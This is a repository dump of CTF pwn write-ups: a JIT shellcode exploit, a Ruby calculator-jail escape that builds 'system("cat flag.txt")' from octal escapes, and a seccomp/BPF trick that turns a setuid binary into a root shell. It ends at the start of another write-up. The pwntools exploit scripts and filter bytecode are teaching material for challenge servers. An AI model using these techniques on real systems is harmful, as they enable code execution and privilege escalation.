thing before I show you were EXACTLY we return, is looking at the address. It should be a multiple of 13, right? No, since we were allowed to enter a float value, we can choose any value we wish. Take 1.2 for example. '1\*13 = 13' this is okay, but: '1.2\*13 = 15.6', 15.6 is then rounded to 16 up when the `real_skipped_instructions` value is typecasted into an integer here: `real_skipped_instructions = (int)(skipped_instructions_float * 13.0);`. And 16 = 0xf. Now we will see what we return into: 233 | 234 | ![20](https://user-images.githubusercontent.com/73792438/116252921-ecb9c600-a767-11eb-9a5c-5a5cafe7f1fd.PNG) 235 | 236 | If you recall, the number we specified as our "add" command argument was 10416984888683040912, and this in hex is 0x9090909090909090. I'm sure you know where this is going lul. So we can completely control the operands, and can jump into said operand through manipulating the `real_skipped_instructions` variable. But we only have 8 bytes :(. 237 | What on earth can we do with 8 bytes? Everything. 238 | 239 | Remember back when we `mprotect()`ed the memory to be rwx? That means its writable aaaand we have code execution. Could we call `read()` with the buffer/rsi as a value in this memory? Looking at the register layout at the time of jumping into the code, and we can see that: 240 | 241 | ![21](https://user-images.githubusercontent.com/73792438/116254263-1b846c00-a769-11eb-9e16-065df2801ae8.PNG) 242 | 243 | This could certainly work (maybe). Using [This](https://syscalls.w3challs.com/?arch=x86_64) we can figure out that in order to call read(), we need a couple things: 244 | - **RAX** = 0 (read syscall number) 245 | - **RDI** = 0 (stdin, or any other fd we can control) 246 | - **RSI** = a value in our rwx memory that we can execute code at 247 | - **RDX** = a valid size 248 | 249 | Looking at the register state we see that: 250 | - **RAX** = already 0 251 | - **RDI** = needs changing to 0 252 | - **RSI** = Nope 253 | - **RDX** = is a valid size, but needs to be in RSI 254 | 255 | So we need a snippet of asm that can clear rdi, swap rsi and rdi, and `syscall` that 8 bytes or less. I came up with the following, and packed it as a number: 256 | 257 | ```asm 258 | xor rdi, rdi 259 | xchg rsi, rdx 260 | syscall 261 | ``` 262 | `\x48\x31\xff\x48\x87\xd6\x0f\x05` == 364776757699490120 263 | 264 | This should be able to call `read()` with an unlimited size to write/read in data from stdin, we can test this: 265 | 266 | ![22](https://user-images.githubusercontent.com/73792438/116256218-e547ec00-a76a-11eb-890e-ae18eb8ad950.PNG) 267 | ![23](https://user-images.githubusercontent.com/73792438/116256349-04df1480-a76b-11eb-8287-02c43223f9d2.PNG) 268 | ![24](https://user-images.githubusercontent.com/73792438/116256480-2213e300-a76b-11eb-9071-d7df0329b441.PNG) 269 | 270 | So it certainly looks like `read()` worked. Now what if we were able to write some code here that actually did something? 271 | Heres my exploit script: 272 | 273 | ```python 274 | from pwn import * 275 | import sys 276 | 277 | # add 364776757699490120 278 | 279 | # Load shellcode - just reads 'flag.txt' then sends it to stdout 280 | f = open("catflag", "rb") 281 | flag_pls = f.read() 282 | f.close() 283 | 284 | p = process(sys.argv[1]) 285 | #p = remote('127.0.0.1', 4444) 286 | 287 | # Attach with gdb 288 | gdb.attach(p, ''' 289 | break *jit+542 290 | continue 291 | ''') 292 | 293 | # Add 6 instructions 294 | for i in range(0, 6): 295 | print(p.recvuntil("Action: ")) 296 | p.sendline("1") 297 | p.clean() 298 | p.sendline("add 364776757699490120") 299 | 300 | 301 | # Evaluate/ call jit() 302 | print(p.recvuntil("Action: ")) 303 | p.sendline("3") 304 | 305 | p.recvuntil("How many instructions would you like to skip?") 306 | p.sendline("1.2") 307 | 308 | # We have (hopefully) hijacked control flow now into our shellcode. 309 | 310 | p.clean() 311 | # Send our shellcode to read() 312 | p.sendline(b"\x90"*0x100 + flag_pls) 313 | 314 | # Recieve the flag 315 | print(p.recvall()) 316 | p.close() 317 | ``` 318 | 319 | Here's it working locally: 320 | ![25](https://user-images.githubusercontent.com/73792438/116258501-eb3ecc80-a76c-11eb-904f-33bea49bebc4.PNG) 321 | 322 | And on the challenge server: 323 | 324 | ![26](https://user-images.githubusercontent.com/73792438/116258994-54bedb00-a76d-11eb-9343-b56d3b2addd0.PNG) 325 | 326 | I don't know why i bothered censoring the flag when I just gave you the exploit, but oh well. 327 | 328 | Happy pwning! 329 | -------------------------------------------------------------------------------- /UACTF 2022/Evil_Eval/README.md: -------------------------------------------------------------------------------- 1 | # Intro 2 | Hello again. 3 | 4 | This past weekend, me and my teammates at [zh3r0](https://ctftime.org/team/116018) competed in [UACTF 2022](https://ctftime.org/event/1709). The ctf was pretty good, and had a wide variety of challenges. One of these challenges was `Evil eval`. And oh boy was it evil. 5 | 6 | ## The challenge 7 | This was in the pwn category. We are given a netcat command, and when we log in we are greeted by: 8 | 9 | ``` 10 | ------------------------------------------ 11 | | UNCOMPLICATED COMMAND-LINE CALCULATOR! | 12 | ------------------------------------------ 13 | 14 | Example Usage: 15 | (1 + 2) * 3 16 | > (1 + 2) * 3 = 9 17 | ``` 18 | 19 | We can type equations - and also commands into the calculator as long as they are < 8 unique bytes long. I've tried some challenges like this before, so I was immediately thinking "it must be a pyjail challenge!". It was a jail challenge, so I was half right, but the assumption about python is something i wasted *HOURS* of my time on. 20 | 21 | ## Limitations 22 | I previously mentioned that there can only be 8 unique chars per command/equation. There was another restriction I didn't mention: 23 | 24 | ``` 25 | asd 26 | > asd = One or more of the following characters have been blocked: 'f', 'l', 'a', 'g', '.', 't', 'x', 't', and/or '`' 27 | ``` 28 | 29 | This limitation left me pretty stumped for the majority of the CTF, there are not functions (in python) that can be used to execute code that dont contain a blacklisted character (`eval`, `exec`). In addition to this it was possible to open a file as `open` doesnt trigger the blacklist, however it was impossible to read the file since `read` does. 30 | 31 | So no progress was made here for quite a while. 32 | 33 | # Revelations 34 | On the last day of the CTF, my teammate [`_wh1t3r0se_`](https://ctftime.org/user/73367) made an interesting observation, the challenge was not python, but ruby. 35 | 36 | This didnt click with me at first, as I dont know any ruby and was so far into the pyjail rabbit hole that I hadn't even taken the time to consider the chance that I wasnt seeing python. Indeed, if you look up any error message from the session, you would find it to be ruby. 37 | 38 | This opened up some new possibilities for exploiting the jail. 39 | 40 | ## Exploitation 41 | 42 | I had been googling `python pyjail execute string as function` when I found `eval` and `exec`. So it only made sense to do the same for ruby. 43 | 44 | I ended up finding [this](https://stackoverflow.com/questions/1407451/calling-a-method-from-a-string-with-the-methods-name-in-ruby) stack overflow post, and from that found the `send` method. Looking at the [documentation](https://ruby-doc.org/core-3.1.2/Object.html#method-i-send) we can see that the format is `send(method, args)`. This was perfect. 45 | 46 | Heres my script: 47 | 48 | ```python 49 | 50 | from pwn import * 51 | 52 | context.log_level = "debug" 53 | 54 | 55 | def convert_str_to_oct_list(string): 56 | return [oct(ord(x))[2:] for x in string] 57 | 58 | 59 | def sendstr(str0, name): 60 | print(str0) 61 | for x in str0: 62 | p.sendlineafter("> ", name + f"+=\"\\{x}\"") 63 | print(p.recvline()) 64 | 65 | def main(): 66 | global p 67 | str0 = convert_str_to_oct_list("system") 68 | str1 = convert_str_to_oct_list("cat flag.txt") 69 | p = remote("challenges.uactf.com.au", 30000) 70 | 71 | p.recvuntil(">") 72 | p.sendline("e=\"\"") 73 | sendstr(str0, "e") 74 | p.sendline("E=\"\"") 75 | sendstr(str1, "E") 76 | 77 | p.sendline("send(e,E)") 78 | p.interactive() 79 | if __name__ == "__main__": 80 | main() 81 | ``` 82 | 83 | Theres one last thing to explain. We were able to get around the filters by first creating an empty string, and then adding the escaped octal representations of the characters into the string one at a time. Hexadecimal representations couldnt be used because of the `x` character, so this was the next logical step. 84 | 85 | I also had some wierd issues with the variable names, but `e` and `E` worked fine. 86 | 87 | (Thanks to [finch](https://ctftime.org/user/78954) for cleaning up the string -> octal conversion). 88 | 89 | # Closing remarks 90 | This is without a doubt the shortest writeup I have ever made - maybe I won't ramble for as long from now on. Probably not. 91 | 92 | When I lay out the pieces, this challenge seems easy - and it was easy, really. The main obstacle was the filter, and bypassing it via string conversions. However I added another hurdle when I went full tunnel vision down the `pyjail` rabbit hole. 93 | 94 | Some (me included) would argue that this challenge isn't really pwn - however what this challenge and real pwn challenges have in common is that they become infinitely harder when you add more obstacles, especially when those obstacles are your own stubbornness. 95 | 96 | If theres anything to take from this, its probably not to focus on any one thing too much, and make sure to challenge any assumptions you have, whether you do pwn, or whatever category this challenge fits in. 97 | 98 | Cya. 99 | -------------------------------------------------------------------------------- /UIUCTF 21/insecure-seccomp/README.md: -------------------------------------------------------------------------------- 1 | # Intro 2 | 3 | This writeup is pretty late, given that [UIUCTC 21](https://ctftime.org/event/1372) ended a good few days ago, but now its here. 4 | 5 | This was a first for me, and for my team-mate [X3eRo0](https://twitter.com/X3eRo0/); a kernel challenge in a live CTF environment. Although we both finished the kernel section of [pwn.college](https://pwn.college/) this was a little different, as you'll see. 6 | 7 | ## Pre-requisites 8 | 9 | This writeup assumes that the reader knows what `seccomp` is, and what it does along with how it does it. If you don't, reading through the [man page](https://man7.org/linux/man-pages/man2/seccomp.2.html) a little will help with that understanding. 10 | 11 | ## What 12 | 13 | The challenge gives us links to a `handout.tar.gz` and `starter.c`. On extracting the handout, we are greeted with a `challenge` folder, and inside that folder are the following files: 14 | 15 | ` Dockerfile kernel/ nsjail.cfg src/ ` 16 | 17 | We are given a `Dockerfile`, `kernel/` directory, an nsjail configuration file and a `src/` folder. Building this in docker takes a long time, and quite a lot of disk space so if you want to you can skip that process completely and just use: 18 | 19 | ```sh 20 | stty raw -echo; nc insecure-seccomp.chal.uiuc.tf 1337; stty -raw echo 21 | ``` 22 | 23 | To connect to the remote service, IF its still up, that is. Anyway, looking in the dockerfile we can get some details about our challenge before even reading the source, in particular: 24 | 25 | ``` 26 | COPY kernel/kconfig /kernel/linux-5.12.14/.config 27 | COPY kernel/patch /tmp/kernel.patch 28 | COPY kernel/CVE-2021-33909.patch /tmp/CVE-2021-33909.patch 29 | RUN patch -p1 -d /kernel/linux-5.12.14 < /tmp/CVE-2021-33909.patch 30 | RUN patch -p1 -d /kernel/linux-5.12.14 < /tmp/kernel.patch 31 | ``` 32 | 33 | Here we can see the some files, such as the `kconfig` which contains flags and build instructions for our kernel, and 2 other files, `patch` and `CVE-2021-33909.patch`. The latter provides a fix for a recent CVE, and is not relevant on our end, however the former is a bit more interesting: 34 | 35 | ``` 36 | diff --git a/init/main.c b/init/main.c 37 | index 5bd1a25f1d6f..ee7dc4a65c08 100644 38 | --- a/init/main.c 39 | +++ b/init/main.c 40 | @@ -1490,7 +1490,7 @@ void __init console_on_rootfs(void) 41 | struct file *file = filp_open("/dev/console", O_RDWR, 0); 42 | 43 | if (IS_ERR(file)) { 44 | - pr_err("Warning: unable to open an initial console.\n"); 45 | + // pr_err("Warning: unable to open an initial console.\n"); 46 | return; 47 | } 48 | init_dup(file); 49 | diff --git a/kernel/seccomp.c b/kernel/seccomp.c 50 | index 93684cc63285..e8574297803c 100644 51 | --- a/kernel/seccomp.c 52 | +++ b/kernel/seccomp.c 53 | @@ -648,9 +648,9 @@ static struct seccomp_filter *seccomp_prepare_filter(struct sock_fprog *fprog) 54 | * This avoids scenarios where unprivileged tasks can affect the 55 | * behavior of privileged children. 56 | */ 57 | - if (!task_no_new_privs(current) && 58 | - !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN)) 59 | - return ERR_PTR(-EACCES); 60 | + // if (!task_no_new_privs(current) && 61 | + // !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN)) 62 | + // return ERR_PTR(-EACCES); 63 | 64 | /* Allocate a new seccomp_filter */ 65 | sfilter = kzalloc(sizeof(*sfilter), GFP_KERNEL | __GFP_NOWARN); 66 | ``` 67 | 68 | In particular, look closely at these lines: 69 | 70 | ``` 71 | * This avoids scenarios where unprivileged tasks can affect the 72 | * behavior of privileged children. 73 | */ 74 | - if (!task_no_new_privs(current) && 75 | - !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN)) 76 | - return ERR_PTR(-EACCES); 77 | + // if (!task_no_new_privs(current) && 78 | + // !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN)) 79 | + // return ERR_PTR(-EACCES); 80 | ``` 81 | 82 | It looks like before our kernel is compiled, the `patch` command is used comment some lines out, but what is the significance of these lines? Well, googling `test_no_new_privs()` the first result is [this](http://bricktou.cn/include/linux/schedtask_no_new_privs_en.html), here we can see a function prototype and a description for what purpose this has: 83 | 84 | ```c 85 | static bool task_no_new_privs(struct task_struct *p) 86 | ``` 87 | 88 | The description states: `Determine whether a bit is set`. Of course this makes sense given the function returns a Boolean. Now lets look at the implementation. The latter also links to a source snipped, however our kernel version is different, so we can look [here](https://elixir.bootlin.com/linux/v5.12.14/source/include/linux/sched.h#L1646) instead: 89 | 90 | ```c 91 | /* Per-process atomic flags. */ 92 | #define PFA_NO_NEW_PRIVS 0 /* May not gain new privileges. */ 93 | #define PFA_SPREAD_PAGE 1 /* Spread page cache over cpuset */ 94 | #define PFA_SPREAD_SLAB 2 /* Spread some slab caches over cpuset */ 95 | #define PFA_SPEC_SSB_DISABLE 3 /* Speculative Store Bypass disabled */ 96 | #define PFA_SPEC_SSB_FORCE_DISABLE 4 /* Speculative Store Bypass force disabled*/ 97 | #define PFA_SPEC_IB_DISABLE 5 /* Indirect branch speculation restricted */ 98 | #define PFA_SPEC_IB_FORCE_DISABLE 6 /* Indirect branch speculation permanently restricted */ 99 | #define PFA_SPEC_SSB_NOEXEC 7 /* Speculative Store Bypass clear on execve() */ 100 | 101 | #define TASK_PFA_TEST(name, func) \ 102 | static inline bool task_##func(struct task_struct *p) \ 103 | { return test_bit(PFA_##name, &p->atomic_flags); } 104 | 105 | #define TASK_PFA_SET(name, func) \ 106 | static inline void task_set_##func(struct task_struct *p) \ 107 | { set_bit(PFA_##name, &p->atomic_flags); } 108 | 109 | #define TASK_PFA_CLEAR(name, func) \ 110 | static inline void task_clear_##func(struct task_struct *p) \ 111 | { clear_bit(PFA_##name, &p->atomic_flags); } 112 | 113 | TASK_PFA_TEST(NO_NEW_PRIVS, no_new_privs) 114 | ``` 115 | 116 | Specifically, the definition is on the last line. Doesn't much look like a function definition, does it? But it gets a bit clearer when you look at the macro being used: 117 | 118 | ```c 119 | #define TASK_PFA_TEST(name, func) \ 120 | static inline bool task_##func(struct task_struct *p) \ 121 | { return test_bit(PFA_##name, &p->atomic_flags); } 122 | ``` 123 | 124 | It takes a `name` and a `func`, then based on that will use even more macros to stitch together a function name, we pass in `NO_NEW_PRIVS` as our `name`, and `no_new_privs` as our `func`, and based on that it will give us a function name of `task_no_new_privs`. 125 | 126 | If we look inside the function, we can see that it is, in fact testing a bit. In this case `PFA_NO_NEW_PRIVS`, or '1'. So what is the purpose of this bit, exactly? 127 | 128 | Again, by googling we can find [this](https://unix.stackexchange.com/questions/562260/why-we-need-to-set-no-new-privs-while-before-calling-seccomp-mode-filter) answer on stack overflow. The gist is: 129 | 130 | "The no_new_privs bit is a property of the process which, if set, tells the kernel to not employ privileges escalation mechanisms like SUID bit (so, invoking things like sudo(8) will not work at all), so it is safe to allow the unprivileged process with this bit set to use seccomp filters: this process will not have any possibility to escalate privileges even temporarily, thus, will not be able to "hijack" these privileges." 131 | 132 | `seccomp` has a lot of features, one of which is the ability to skip a syscall, and set an arbitrary `ERRNO`/return value from said syscall. Look at this code, taken from the answer: 133 | 134 | ```c 135 | // Make the `openat(2)` syscall always "succeed". 136 | seccomp_rule_add(seccomp, SCMP_ACT_ERRNO(0), SCMP_SYS(openat), 0); 137 | ``` 138 | 139 | Once this rule is applied, the `openat` syscall will return '0' regardless of whether the file in question actually exists. This means that checks in the program that expect a '-1' on failure will be invalidated and depending on the depth of error checking may just assume the file exists, when it in fact does not. 140 | 141 | Now with that knowledge we can look back on the patched code from our kernel: 142 | 143 | ```c 144 | - if (!task_no_new_privs(current) && 145 | - !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN)) 146 | - return ERR_PTR(-EACCES); 147 | ``` 148 | 149 | So, if the `no_new_privs` bit is NOT set (meaning the process to which the seccomp rule is being applied IS setuid/running under sudo) AND the current process was not started by root, `seccomp` will fail before loading the filter/rule, meaning that no meddling with the return value is possible where we may have something to gain from it. 150 | 151 | But now remember the patch: 152 | 153 | ```c 154 | + // if (!task_no_new_privs(current) && 155 | + // !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN)) 156 | + // return ERR_PTR(-EACCES); 157 | ``` 158 | 159 | This has been undone. Any process, regardless of setuid status will have the rule applied. This will be incredibly important moving forward, so don't forget :). 160 | 161 | ## The challenge 162 | 163 | Now that we have covered all that, we can get to the challenge sources. Lets first take a look at `jail.c`: 164 | 165 | 166 | ```c 167 | // SPDX-License-Identifier: Apache-2.0 168 | /* 169 | * Copyright 2021 Google LLC. 170 | */ 171 | 172 | #define _GNU_SOURCE 173 | 174 | #include 175 | #include 176 | #include 177 | #include 178 | 179 | int main(int argc, char *argv[]) { 180 | if (setgid(1)) { 181 | perror("setgid"); 182 | return 1; 183 | } 184 | 185 | if (setgroups(0, NULL)) { 186 | perror("setgroups"); 187 | return 1; 188 | } 189 | 190 | if (setuid(1)) { 191 | perror("setuid"); 192 | return 1; 193 | } 194 | 195 | putchar('\n'); 196 | system("/usr/bin/resize > /dev/null"); 197 | execl("/bin/sh", "sh", NULL); 198 | 199 | perror("execl"); 200 | return 1; 201 | } 202 | ``` 203 | 204 | This isn't particularly special, just know that this is the source for the shell you receive when you interact with the remote service. 205 | Now lets look at `seccomp_loader.c`, an interesting name for sure given what we know about the kernel: 206 | 207 | ```c 208 | // SPDX-License-Identifier: Apache-2.0 209 | /* 210 | * Copyright 2021 Google LLC. 211 | */ 212 | 213 | #include 214 | #include 215 | #include 216 | #include 217 | #include 218 | #include 219 | #include 220 | 221 | static void perror_exit(char *msg) 222 | { 223 | perror(msg); 224 | exit(1); 225 | } 226 | 227 | static int seccomp(unsigned int op, unsigned int flags, void *args) 228 | { 229 | errno = 0; 230 | return syscall(SYS_seccomp, op, flags, args); 231 | } 232 | 233 | int main(int argc, char *argv[]) 234 | { 235 | unsigned short num_insns; 236 | struct sock_filter *insns; 237 | struct sock_fprog prog; 238 | 239 | if (argc < 2) { 240 | fprintf(stderr, "Usage: %s [command]\n", argv[0]); 241 | exit(1); 242 | } 243 | 244 | if (scanf("%hu", &num_insns) != 1) 245 | goto bad_format; 246 | 247 | insns = calloc(num_insns, sizeof(*insns)); 248 | if (!insns) 249 | perror_exit("calloc"); 250 | 251 | for (int i = 0; i < num_insns; i++) { 252 | if (scanf(" %hx %hhx %hhx %x", 253 | &insns[i].code, 254 | &insns[i].jt, 255 | &insns[i].jf, 256 | &insns[i].k) != 4) 257 | goto bad_format; 258 | } 259 | 260 | prog.len = num_insns; 261 | prog.filter = insns; 262 | 263 | if (seccomp(SECCOMP_SET_MODE_FILTER, 0, &prog)) 264 | perror_exit("seccomp"); 265 | 266 | execv(argv[1], &argv[1]); 267 | perror_exit("execv"); 268 | 269 | bad_format: 270 | fprintf(stderr, "Bad format\n"); 271 | return 1; 272 | } 273 | ``` 274 | 275 | Whats this then? One of the ways you can apply `seccomp` rules to a program is via BPF. BPF is a relatively old feature of the Linux kernel, and for our purposes provides a programmable way to filter syscalls. Its alot deeper than that; it has its own JIT compiler in the kernel, and is also used across many projects to provide monitoring and filtering capabilities, but we'll be focusing specifically on syscall filtering. 276 | 277 | Anyway, `seccomp` has `SECCOMP_SET_MODE_FILTER` which we can use to apply BPF rules the same way we would apply regular rules. Since BPF is JIT compiled in the kernel, it has its own bytecode architecture; each instruction of this arch comes packed into a struct: 278 | 279 | ```c 280 | struct sock_filter { /* Filter block */ 281 | __u16 code; /* Actual filter code */ 282 | __u8 jt; /* Jump true */ 283 | __u8 jf; /* Jump false */ 284 | __u32 k; /* Generic multiuse field */ 285 | }; 286 | ``` 287 | 288 | You only have to look deep into the abyss if you want to, but you don't particularly need to if you don't want to, I know I didn't - but if you do, take a look at: 289 | 290 | - https://www.collabora.com/news-and-blog/blog/2019/04/15/an-BPF-overview-part-2-machine-and-bytecode/ 291 | - https://www.youtube.com/watch?v=2lbtr85Yrs4 292 | 293 | All you need to know is this is how each BPF instruction is formatted. There is another strange type here, `sock_fprog`: 294 | 295 | ```c 296 | struct sock_fprog { /* Required for SO_ATTACH_FILTER. */ 297 | unsigned short len; /* Number of filter blocks */ 298 | struct sock_filter __user *filter; 299 | }; 300 | ``` 301 | 302 | This stores a list/array of `sock_filter`s, and as the name would suggest this structure is intended to store an entire BPF program, with many instructions. 303 | 304 | Next some pretty nice stuff happens: 305 | 306 | ```c 307 | if (scanf("%hu", &num_insns) != 1) 308 | goto bad_format; 309 | 310 | insns = calloc(num_insns, sizeof(*insns)); 311 | if (!insns) 312 | perror_exit("calloc"); 313 | 314 | for (int i = 0; i < num_insns; i++) { 315 | if (scanf(" %hx %hhx %hhx %x", 316 | &insns[i].code, 317 | &insns[i].jt, 318 | &insns[i].jf, 319 | &insns[i].k) != 4) 320 | goto bad_format; 321 | } 322 | 323 | prog.len = num_insns; 324 | prog.filter = insns; 325 | 326 | if (seccomp(SECCOMP_SET_MODE_FILTER, 0, &prog)) 327 | perror_exit("seccomp"); 328 | 329 | execv(argv[1], &argv[1]); 330 | perror_exit("execv"); 331 | ``` 332 | 333 | Via `scanf()`, were given control over the entire `sock_fprog` and each `sock_filter`, we can also apply as many instructions as we want, as we control the `len` field of the struct. Our filter is then applied, and then we `execv` with our `argv[1]`. What this means is: 334 | 335 | - We control the entire BPF program. 336 | - As seccomp filters also apply to children, we may apply this filter to any program we want by adding the path to `argv[1]` 337 | - Because of the kernel patch, we can apply this even to setuid binaries. 338 | 339 | You would assume, correctly, that BPF has all the capabilities of a regular seccomp rule/set of rules. 340 | 341 | Now, are there any setuid programs here? 342 | 343 | ```sh 344 | -r-sr-xr-x 1 0 0 29008 Jul 30 22:20 exploit_me 345 | ``` 346 | 347 | Yes, yes there is. Shall we take a look next at `exploit_me.c`? 348 | 349 | ```c 350 | // SPDX-License-Identifier: Apache-2.0 351 | /* 352 | * Copyright 2021 Google LLC. 353 | */ 354 | 355 | #include 356 | #include 357 | #include 358 | #include 359 | 360 | int main(int argc, char *argv[]) 361 | { 362 | if (!faccessat(AT_FDCWD, "/flag", R_OK, AT_EACCESS)) { 363 | fprintf(stderr, "You can't be root to execute this! ... or can you?\n"); 364 | return 1; 365 | } 366 | 367 | setuid(geteuid()); 368 | 369 | execl("/bin/sh", "sh", NULL); 370 | perror("execl"); 371 | return 1; 372 | } 373 | ``` 374 | 375 | Pretty simple. If `faccessat` would not access the file `/flag` (or, if it where to just return a non-zero value) we will get a root shell, and from there we will be able to `cat /flag`. However how would this work? `faccessat` *should* always find `/flag`, because it exists? Right? 376 | 377 | # Exploitation 378 | 379 | This is a little different from what I'm used to, its not really binary exploitation, but more of a logic bug. Although this isn't necessarily a bad thing; much less can go wrong when exploiting bugs like this, in fact almost nothing. 380 | 381 | Anyway, exploitation is pretty straightforward: 382 | 383 | 1. Make a BPF filter to 'hook' the `faccessat` syscall, and make it return a nonzero value. 384 | 2. Run `exploit_me` under `seccomp_loader` with this filter 385 | 3. Get root, cat flag. 386 | 387 | When downloading the program, we are given a `starter.c`: 388 | 389 | ```c 390 | // SPDX-License-Identifier: MIT 391 | /* 392 | * Copyright 2021 Google LLC. 393 | */ 394 | 395 | #include 396 | #include 397 | #include 398 | #include 399 | 400 | int main(int argc, char *argv[]) 401 | { 402 | struct sock_filter insns[] = { 403 | // Your filter here 404 | BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), 405 | }; 406 | unsigned short num_insns = sizeof(insns) / sizeof(insns[0]); 407 | 408 | printf("%hu\n", num_insns); 409 | for (unsigned short i = 0; i < num_insns; i++) { 410 | printf("%04hx %02hhx %02hhx %08x\n", 411 | insns[i].code, 412 | insns[i].jt, 413 | insns[i].jf, 414 | insns[i].k); 415 | } 416 | 417 | return 0; 418 | } 419 | ``` 420 | 421 | Basically we can just slot our filter into the `insns` array, and we will be given the bytecode for all the instructions in the filter that we can just slot into `seccomp-loader`, EZ. 422 | 423 | X3eRo0 and I (mainly X3eRo0) used [seccomp-tools](https://github.com/david942j/seccomp-tools) to construct our filter. It has many features, one of which allows you to program a filter using a custom language. Heres what our solution looked like: 424 | 425 | ``` 426 | A = sys_number 427 | A == faccessat ? lol : done 428 | lol: 429 | return ERRNO(5) 430 | done: 431 | return ALLOW 432 | kill: 433 | return KILL 434 | ``` 435 | 436 | This, again is pretty simple, at least more simple than using the BPF macros (lol). All it does is store the syscall number, check if it == faccessat, and if it does set the return value/errno to 5, effectively causing the syscall to fail. If we do any other syscall it simply allows it to continue. the `kill` bit is not used. 437 | 438 | You can dump this into BPF bytecode in `seccomp-tools`: 439 | 440 | ``` 441 | root@nomu:~/D/u/insecure_seccomp 442 | ❯❯ seccomp-tools asm BPF.asm 443 | " \x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x01\r\x01\x00\x00\x06\x00\x00\x00\x05\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00" 444 | ``` 445 | 446 | And X3eRo0 also modified the `starter.c` so that it works with a char* rather than a list of instructions: 447 | 448 | ```c 449 | #include 450 | #include 451 | #include 452 | #include 453 | 454 | int main(int argc, char *argv[]) 455 | { 456 | // just paste your filter here 457 | char *filters = " \x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x01\r\x01\x00\x00\x06\x00\x00\x00\x05\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"; 458 | 459 | unsigned short num_insns = 5; // just count the number of instructions, we dont care. 460 | 461 | printf("%hu\n", num_insns); 462 | for (unsigned short i = 0; i < num_insns; i++) { 463 | printf("%04hx %02hhx %02hhx %08x\n", 464 | ((struct sock_filter*)filters)[i].code, 465 | ((struct sock_filter*)filters)[i].jt, 466 | ((struct sock_filter*)filters)[i].jf, 467 | ((struct sock_filter*)filters)[i].k); 468 | } 469 | 470 | return 0; 471 | } 472 | 473 | ``` 474 | 475 | Now when you compile+run `starter`, you should get your output as BPF bytecode: 476 | 477 | ``` 478 | root@nomu:~/D/u/insecure_seccomp 479 | ❯❯ ./starter 480 | 5 481 | 0020 00 00 00000000 482 | 0015 00 01 0000010d 483 | 0006 00 00 00050005 484 | 0006 00 00 7fff0000 485 | 0006 00 00 00000000 486 | ``` 487 | 488 | Now when you send this on the remote service, while running `exploit_me`: 489 | 490 | ``` 491 | /usr/local/bin $ ./seccomp_loader ./exploit_me 492 | 5 493 | 0020 00 00 00000000 494 | 0015 00 01 0000010d 495 | 0006 00 00 00050005 496 | 0006 00 00 7fff0000 497 | 0006 00 00 00000000 498 | /usr/local/bin # cat /flag 499 | uiuctf{seccomp_plus_new_privs_equals_inseccomp_e84609bf} 500 | /usr/local/bin # 501 | 502 | ``` 503 | 504 | You will get a root shell, and then flag. 505 | 506 | # Closing thoughts 507 | 508 | Kernel is very complicated. Bold statements only here xD. 509 | 510 | This was a pretty cool challenge, X3eRo0 and I both learned alot about BPF. I hope you did too. 511 | 512 | Another lesson: Always `ls -la` to check whether a binary is setuid, and don't just assume that every shell will have fancy syntax highlighting for you :P (this confused me for a while, I couldnt spot the setuid binary, lol). 513 | 514 | # References 515 | 516 | - 517 | - 518 | - 519 | - 520 | - 521 | - 522 | -------------------------------------------------------------------------------- /UIUCTF 21/insecure-seccomp/ebpf.asm: -------------------------------------------------------------------------------- 1 | A = sys_number 2 | A == faccessat ? lol : done 3 | lol: 4 | return ERRNO(5) 5 | done: 6 | return ALLOW 7 | kill: 8 | return KILL 9 | -------------------------------------------------------------------------------- /UIUCTF 21/insecure-seccomp/handout.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/UIUCTF 21/insecure-seccomp/handout.tar.gz -------------------------------------------------------------------------------- /UIUCTF 21/insecure-seccomp/starter.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(int argc, char *argv[]) 7 | { 8 | // just paste your filter here 9 | char *filters = " \x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x01\r\x01\x00\x00\x06\x00\x00\x00\x05\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"; 10 | 11 | unsigned short num_insns = 5; // just count the number of instructions, we dont care. 12 | 13 | printf("%hu\n", num_insns); 14 | for (unsigned short i = 0; i < num_insns; i++) { 15 | printf("%04hx %02hhx %02hhx %08x\n", 16 | ((struct sock_filter*)filters)[i].code, 17 | ((struct sock_filter*)filters)[i].jt, 18 | ((struct sock_filter*)filters)[i].jf, 19 | ((struct sock_filter*)filters)[i].k); 20 | } 21 | 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /UIUCTF 21/insecure-seccomp/starter_orig.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | /* 3 | * Copyright 2021 Google LLC. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | int main(int argc, char *argv[]) 12 | { 13 | struct sock_filter insns[] = { 14 | // Your filter here 15 | BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), 16 | }; 17 | unsigned short num_insns = sizeof(insns) / sizeof(insns[0]); 18 | 19 | printf("%hu\n", num_insns); 20 | for (unsigned short i = 0; i < num_insns; i++) { 21 | printf("%04hx %02hhx %02hhx %08x\n", 22 | insns[i].code, 23 | insns[i].jt, 24 | insns[i].jf, 25 | insns[i].k); 26 | } 27 | 28 | return 0; 29 | } 30 | -------------------------------------------------------------------------------- /bi0sCTF22_3/notes/README.md: -------------------------------------------------------------------------------- 1 | # Intro 2 | 3 | Hey there. I got lazy with writeups again. 4 | 5 | This weekend i played [bi0s CTF 2022/3](https://ctftime.org/event/1714) with team 